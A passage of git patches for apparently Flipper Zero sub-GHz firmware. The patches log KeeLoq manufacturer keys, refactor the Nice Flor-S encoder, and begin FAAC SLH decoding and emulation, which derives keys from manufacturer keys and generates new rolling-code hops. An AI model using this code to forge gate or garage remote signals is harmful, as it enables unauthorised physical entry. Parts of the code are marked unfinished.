subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -483,7 +484,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -505,7 +506,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); From 25ce89e39d5bc48f7d40edddfeb59383045c37f6 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 2 Apr 2022 18:56:32 +0300 Subject: [PATCH 051/461] mfname show --- lib/subghz/protocols/keeloq.c | 16 ++++++++-------- lib/subghz/protocols/star_line.c | 8 ++++---- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index b2ee61c19..73ffaa460 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -485,7 +485,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -495,7 +495,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -505,7 +505,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -515,7 +515,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -525,7 +525,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -546,7 +546,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -564,7 +564,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -582,7 +582,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Magic xor type1 learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 5c70ad66d..f7229678d 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -463,7 +463,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: //Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -474,7 +474,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -484,7 +484,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -506,7 +506,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); From 0b496f70c2609e4ab2bf2bd0d9790d82a46d0106 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 2 Apr 2022 21:47:52 +0300 Subject: [PATCH 052/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 45 ++++++++++++++++++++---------- 1 file changed, 31 insertions(+), 14 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index ae5e56c18..ce6717034 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -128,13 +128,17 @@ static bool } instance->generic.cnt++; - FURI_LOG_I(TAG, "serial = %07lX", instance->generic.serial); - FURI_LOG_I(TAG, "counter = %04lX", instance->generic.cnt); - FURI_LOG_I(TAG, "button = %01lX", btn); + FURI_LOG_I(TAG, "serial = %7X", instance->generic.serial); + FURI_LOG_I(TAG, "counter = %4X", instance->generic.cnt); + FURI_LOG_I(TAG, "button = %1X", btn); uint64_t decrypt = ((uint64_t)instance->generic.serial << 16) | instance->generic.cnt; - FURI_LOG_I(TAG, "decrypt = %011lX", (uint64_t)decrypt); + uint32_t hi = decrypt >> 32; + uint32_t lo = decrypt & 0xFFFFFFFF; + FURI_LOG_I(TAG, "decrypt = %3X%8X", hi, lo); uint64_t enc_part = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - FURI_LOG_I(TAG, "enc_part = %011lX", (uint64_t)enc_part); + hi = enc_part >> 32; + lo = enc_part & 0xFFFFFFFF; + FURI_LOG_I(TAG, "enc_part = %3X%8X", hi, lo); for (int i = 0; i < 16; i++) { @@ -153,24 +157,31 @@ static bool 0x7, 0x6, 0x5, 0x4, 0x3, 0x2, 0x1, 0x0, 0xF, 0xE, 0xD, 0xC, 0xB, 0xA, 0x9, 0x8 } }; - + uint8_t byte; + if (btn == 0x1) { //Button 1 - instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[0][i]) << 44 | enc_part; + byte = btn << 4 | (0xF ^ btn ^ loops[0][i]); + instance->generic.data = (uint64_t)byte << 44 | enc_part; } if (btn == 0x2) { //Button 2 - instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[1][i]) << 44 | enc_part; + byte = btn << 4 | (0xF ^ btn ^ loops[1][i]); + instance->generic.data = (uint64_t)byte << 44 | enc_part; } if (btn == 0x4) { //Button 3 - instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[2][i]) << 44 | enc_part; + byte = btn << 4 | (0xF ^ btn ^ loops[2][i]); + instance->generic.data = (uint64_t)byte << 44 | enc_part; } if (btn == 0x8) { //Button 4 - instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[3][i]) << 44 | enc_part; + byte = btn << 4 | (0xF ^ btn ^ loops[3][i]); + instance->generic.data = (uint64_t)byte << 44 | enc_part; } - FURI_LOG_I(TAG, "key = %013lX", (uint64_t)instance->generic.data); + hi = instance->generic.data >> 32; + lo = instance->generic.data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "key = %5X%8X", hi, lo); //Send header for(uint8_t i = 35; i > 0; i--) { @@ -323,7 +334,9 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam k = ~p[3]; p[3] = ~p[1]; p[1] = k; - FURI_LOG_I(TAG, "encrypted_data = %011lX", (uint64_t)data); + uint32_t hi = data >> 32; + uint32_t lo = data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "encrypted_data = %3X%8X", hi, lo); return data; } @@ -362,7 +375,9 @@ static uint64_t p[1] = k; } } - FURI_LOG_I(TAG, "decrypted_data = %011lX", (uint64_t)data); + uint32_t hi = data >> 32; + uint32_t lo = data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "decrypted_data = %5X%8X", hi, lo); return data; } @@ -507,7 +522,9 @@ static void subghz_protocol_nice_flor_s_remote_controller( instance->btn = 0; } else { uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name); - FURI_LOG_I(TAG, "init_decrypted_data = %013lX", (uint64_t)decrypt); + uint32_t hi = decrypt >> 32; + uint32_t lo = decrypt & 0xFFFFFFFF; + FURI_LOG_I(TAG, "init_decrypted_data = %5X%8X", hi, lo); instance->cnt = decrypt & 0xFFFF; instance->serial = (decrypt >> 16) & 0xFFFFFFF; instance->btn = (decrypt >> 48) & 0xF; From b601afb997ac2f14285105b4fed64eecedf414b5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 3 Apr 2022 14:49:22 +0300 Subject: [PATCH 053/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 29 ++++++++--------------------- 1 file changed, 8 insertions(+), 21 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index ce6717034..54f8cd9d9 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -113,7 +113,7 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { * @param instance Pointer to a SubGhzProtocolEncoderNiceFlorS instance * @return true On success */ -static bool +static void subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { furi_assert(instance); size_t index = 0; @@ -122,7 +122,6 @@ static bool size_t size_upload = (instance->generic.data_count_bit * 2) + ((35 + 2 + 2) * 2); if(size_upload > instance->encoder.size_upload) { FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer."); - return false; } else { instance->encoder.size_upload = size_upload; } @@ -142,41 +141,29 @@ static bool for (int i = 0; i < 16; i++) { - static const uint64_t loops[4][32] = { - - { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0, - 0xE, 0xF, 0xC, 0xD, 0xA, 0xB, 0x8, 0x9, 0x6, 0x7, 0x4, 0x5, 0x2, 0x3, 0x0, 0x1 }, - - { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0, - 0xD, 0xC, 0xF, 0xE, 0x9, 0x8, 0xB, 0xA, 0x5, 0x4, 0x7, 0x6, 0x1, 0x0, 0x3, 0x2 }, - - { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0, - 0xB, 0xA, 0x9, 0x8, 0xF, 0xE, 0xD, 0xC, 0x3, 0x2, 0x1, 0x0, 0x7, 0x6, 0x5, 0x4 }, - - { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0, - 0x7, 0x6, 0x5, 0x4, 0x3, 0x2, 0x1, 0x0, 0xF, 0xE, 0xD, 0xC, 0xB, 0xA, 0x9, 0x8 } - }; + static const uint64_t loops[16] = { + 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0}; uint8_t byte; if (btn == 0x1) { //Button 1 - byte = btn << 4 | (0xF ^ btn ^ loops[0][i]); + byte = btn << 4 | (0xF ^ btn ^ loops[i]); instance->generic.data = (uint64_t)byte << 44 | enc_part; } if (btn == 0x2) { //Button 2 - byte = btn << 4 | (0xF ^ btn ^ loops[1][i]); + byte = btn << 4 | (0xF ^ btn ^ loops[i]); instance->generic.data = (uint64_t)byte << 44 | enc_part; } if (btn == 0x4) { //Button 3 - byte = btn << 4 | (0xF ^ btn ^ loops[2][i]); + byte = btn << 4 | (0xF ^ btn ^ loops[i]); instance->generic.data = (uint64_t)byte << 44 | enc_part; } if (btn == 0x8) { //Button 4 - byte = btn << 4 | (0xF ^ btn ^ loops[3][i]); + byte = btn << 4 | (0xF ^ btn ^ loops[i]); instance->generic.data = (uint64_t)byte << 44 | enc_part; } hi = instance->generic.data >> 32; @@ -216,7 +203,7 @@ static bool instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); } - return true; + instance->encoder.size_upload = index; } bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperFormat* flipper_format) { From ea1d6e3baec5ee9a7f2e91278c4c04a8b4977953 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 3 Apr 2022 15:06:17 +0300 Subject: [PATCH 054/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 23 +++-------------------- 1 file changed, 3 insertions(+), 20 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 54f8cd9d9..4937cb808 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -146,26 +146,9 @@ static void uint8_t byte; - if (btn == 0x1) { - //Button 1 - byte = btn << 4 | (0xF ^ btn ^ loops[i]); - instance->generic.data = (uint64_t)byte << 44 | enc_part; - } - if (btn == 0x2) { - //Button 2 - byte = btn << 4 | (0xF ^ btn ^ loops[i]); - instance->generic.data = (uint64_t)byte << 44 | enc_part; - } - if (btn == 0x4) { - //Button 3 - byte = btn << 4 | (0xF ^ btn ^ loops[i]); - instance->generic.data = (uint64_t)byte << 44 | enc_part; - } - if (btn == 0x8) { - //Button 4 - byte = btn << 4 | (0xF ^ btn ^ loops[i]); - instance->generic.data = (uint64_t)byte << 44 | enc_part; - } + byte = btn << 4 | (0xF ^ btn ^ loops[i]); + instance->generic.data = (uint64_t)byte << 44 | enc_part; + hi = instance->generic.data >> 32; lo = instance->generic.data & 0xFFFFFFFF; FURI_LOG_I(TAG, "key = %5X%8X", hi, lo); From 683680fd9752ce8ce52ad3e3172ca60fa87dc2dd Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 00:29:15 +0300 Subject: [PATCH 055/461] Stated making SLH algorithm --- lib/subghz/protocols/faac_slh.c | 66 +++++++++++++++++++++------- lib/subghz/protocols/keeloq_common.c | 17 +++++++ lib/subghz/protocols/keeloq_common.h | 9 ++++ 3 files changed, 75 insertions(+), 17 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index d5006ae66..1a41904bb 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -1,5 +1,8 @@ #include "faac_slh.h" - +#include "../subghz_keystore.h" +#include +#include +#include "keeloq_common.h" #include "../blocks/const.h" #include "../blocks/decoder.h" #include "../blocks/encoder.h" @@ -20,6 +23,9 @@ struct SubGhzProtocolDecoderFaacSLH { SubGhzBlockDecoder decoder; SubGhzBlockGeneric generic; + + SubGhzKeystore* keystore; + const char* manufacture_name; }; struct SubGhzProtocolEncoderFaacSLH { @@ -27,6 +33,9 @@ struct SubGhzProtocolEncoderFaacSLH { SubGhzProtocolBlockEncoder encoder; SubGhzBlockGeneric generic; + + SubGhzKeystore* keystore; + const char* manufacture_name; }; typedef enum { @@ -72,6 +81,7 @@ void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment) { SubGhzProtocolDecoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolDecoderFaacSLH)); instance->base.protocol = &subghz_protocol_faac_slh; instance->generic.protocol_name = instance->base.protocol->name; + instance->keystore = subghz_environment_get_keystore(environment); return instance; } @@ -163,13 +173,34 @@ void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t d * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance */ -static void subghz_protocol_faac_slh_check_remote_controller(SubGhzBlockGeneric* instance) { - uint64_t code_found_reverse = - subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit); - uint32_t code_fix = code_found_reverse & 0xFFFFFFFF; +static void subghz_protocol_faac_slh_check_remote_controller + (SubGhzBlockGeneric* instance, + SubGhzKeystore* keystore, + const char** manufacture_name) { + //uint64_t code_found_reverse = + //subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit); + uint32_t code_fix = instance->data >> 32; + uint32_t code_hop = instance->data & 0xFFFFFFFF; + instance->serial = code_fix >> 4; + instance->btn = code_fix & 0xF; + uint32_t decrypt = 0; + uint64_t man; + uint32_t seed = 0; - instance->serial = code_fix & 0xFFFFFFF; - instance->btn = (code_fix >> 28) & 0x0F; + for + M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { + uint32_t hi = manufacture_code->key >> 32; + uint32_t lo = manufacture_code->key & 0xFFFFFFFF; + switch(manufacture_code->type) { + case KEELOQ_LEARNING_FAAC: + // FAAC Learning + man = subghz_protocol_keeloq_common_faac_learning(code_fix, seed, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); + decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); + *manufacture_name = string_get_cstr(manufacture_code->name); + break; + } + } instance->cnt = decrypt & 0xFFFF; } uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) { @@ -198,25 +229,26 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - subghz_protocol_faac_slh_check_remote_controller(&instance->generic); - uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key( - instance->generic.data, instance->generic.data_count_bit); - uint32_t code_fix = code_found_reverse & 0xFFFFFFFF; - uint32_t code_hop = (code_found_reverse >> 32) & 0xFFFFFFFF; + subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name); + //uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key( + //instance->generic.data, instance->generic.data_count_bit); + uint32_t code_fix = instance->generic.data >> 32; + uint32_t code_hop = instance->generic.data & 0xFFFFFFFF; string_cat_printf( output, "%s %dbit\r\n" "Key:%lX%08lX\r\n" - "Fix:%08lX \r\n" - "Hop:%08lX \r\n" - "Sn:%07lX Btn:%lX\r\n", + "Fix:%08lX Cnt:%04X\r\n" + "Hop:%08lX Btn:%lX\r\n" + "Sn:%07lX \r\n", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)(instance->generic.data >> 32), (uint32_t)instance->generic.data, code_fix, + instance->generic.cnt, code_hop, - instance->generic.serial, - instance->generic.btn); + instance->generic.btn, + instance->generic.serial); } diff --git a/lib/subghz/protocols/keeloq_common.c b/lib/subghz/protocols/keeloq_common.c index 9dfc09348..ca2752a46 100644 --- a/lib/subghz/protocols/keeloq_common.c +++ b/lib/subghz/protocols/keeloq_common.c @@ -81,4 +81,21 @@ inline uint64_t subghz_protocol_keeloq_common_magic_xor_type1_learning(uint32_t data, uint64_t xor) { data &= 0x0FFFFFFF; return (((uint64_t)data << 32) | data) ^ xor; +} + +/** Faac SLH (Spa) Learning + * @param data - fix number (32bit) + * @param seed - seed number (32bit) + * @param key - mfkey (64bit) + * @return man_learning for this fix number (64bit) + */ + +inline uint64_t + subghz_protocol_keeloq_common_faac_learning(uint32_t data, uint32_t seed, const uint32_t key) { + uint32_t k1, k2; + uint16_t hs = seed >> 16; + uint32_t lsb = (uint32_t)hs << 16 | 0x544D; + k1 = subghz_protocol_keeloq_common_encrypt(seed, key); + k2 = subghz_protocol_keeloq_common_encrypt(lsb, key); + return ((uint64_t)k1 << 32) | k2; } \ No newline at end of file diff --git a/lib/subghz/protocols/keeloq_common.h b/lib/subghz/protocols/keeloq_common.h index 50d447ed7..d48f95a60 100644 --- a/lib/subghz/protocols/keeloq_common.h +++ b/lib/subghz/protocols/keeloq_common.h @@ -24,6 +24,7 @@ #define KEELOQ_LEARNING_NORMAL 2u #define KEELOQ_LEARNING_SECURE 3u #define KEELOQ_LEARNING_MAGIC_XOR_TYPE_1 4u +#define KEELOQ_LEARNING_FAAC 5u /** * Simple Learning Encrypt @@ -66,3 +67,11 @@ uint64_t * @return manufacture for this serial number (64bit) */ uint64_t subghz_protocol_keeloq_common_magic_xor_type1_learning(uint32_t data, uint64_t xor); + +/** Faac SLH (Spa) Learning + * @param data - fix number (32bit) + * @param seed - seed number (32bit) + * @param key - mfkey (64bit) + * @return man_learning for this fix number (64bit) + */ +uint64_t subghz_protocol_keeloq_common_faac_learning(uint32_t data, uint32_t seed, const uint32_t key); From e42a61670fb862e33f97a36f99165d0120144132 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 02:25:39 +0300 Subject: [PATCH 056/461] FAAC SLH (SPA) save and emulate Seed input in progress --- lib/subghz/protocols/faac_slh.c | 222 +++++++++++++++++++++++++++++++- lib/subghz/protocols/faac_slh.h | 56 ++++++++ 2 files changed, 273 insertions(+), 5 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 1a41904bb..c6e698833 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -59,12 +59,12 @@ const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder = { }; const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder = { - .alloc = NULL, - .free = NULL, + .alloc = subghz_protocol_encoder_faac_slh_alloc, + .free = subghz_protocol_encoder_faac_slh_free, - .deserialize = NULL, - .stop = NULL, - .yield = NULL, + .deserialize = subghz_protocol_encoder_faac_slh_deserialize, + .stop = subghz_protocol_encoder_faac_slh_stop, + .yield = subghz_protocol_encoder_faac_slh_yield, }; const SubGhzProtocol subghz_protocol_faac_slh = { @@ -77,6 +77,218 @@ const SubGhzProtocol subghz_protocol_faac_slh = { .encoder = &subghz_protocol_faac_slh_encoder, }; +/** + * Analysis of received data + * @param instance Pointer to a SubGhzBlockGeneric* instance + * @param keystore Pointer to a SubGhzKeystore* instance + * @param manufacture_name + */ +static void subghz_protocol_faac_slh_check_remote_controller + (SubGhzBlockGeneric* instance, + SubGhzKeystore* keystore, + const char** manufacture_name); + +void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) { + SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH)); + + instance->base.protocol = &subghz_protocol_faac_slh; + instance->generic.protocol_name = instance->base.protocol->name; + instance->keystore = subghz_environment_get_keystore(environment); + + instance->encoder.repeat = 10; + instance->encoder.size_upload = 256; + instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); + instance->encoder.is_runing = false; + return instance; +} + +void subghz_protocol_encoder_faac_slh_free(void* context) { + furi_assert(context); + SubGhzProtocolEncoderFaacSLH* instance = context; + free(instance->encoder.upload); + free(instance); +} + +static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) { + instance->generic.cnt++; + uint32_t fix = instance->generic.data >> 32; + uint32_t hop = 0; + uint32_t decrypt = 0; + uint64_t man = 0; + uint32_t seed = 0; + int res = 0; + char fixx[8] = {}; + int shiftby = 32; + for (int i = 0; i < 8; i++) { + fixx[i] = (fix >> (shiftby -= 4)) & 0xF; + } + if ((instance->generic.cnt % 2) == 0) { + decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 | + fixx[1] << 16 | instance->generic.cnt; + } + else { + decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 | + fixx[1] << 16 | instance->generic.cnt; + } + for + M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) { + res = strcmp(string_get_cstr(manufacture_code->name), instance->manufacture_name); + if(res == 0) { + switch(manufacture_code->type) { + case KEELOQ_LEARNING_FAAC: + //FAAC Learning + man = + subghz_protocol_keeloq_common_faac_learning(fix, seed, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + break; + } + break; + } + } + if(hop) { + instance->generic.data = (uint64_t)fix << 32 | hop; + } + return true; +} + +bool subghz_protocol_faac_slh_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + const char* manufacture_name, + uint32_t frequency, + FuriHalSubGhzPreset preset) { + furi_assert(context); + SubGhzProtocolEncoderFaacSLH* instance = context; + instance->generic.serial = serial; + instance->generic.cnt = cnt; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_faac_slh_gen_data(instance); + if(res) { + res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; +} + +/** + * Generating an upload from data. + * @param instance Pointer to a 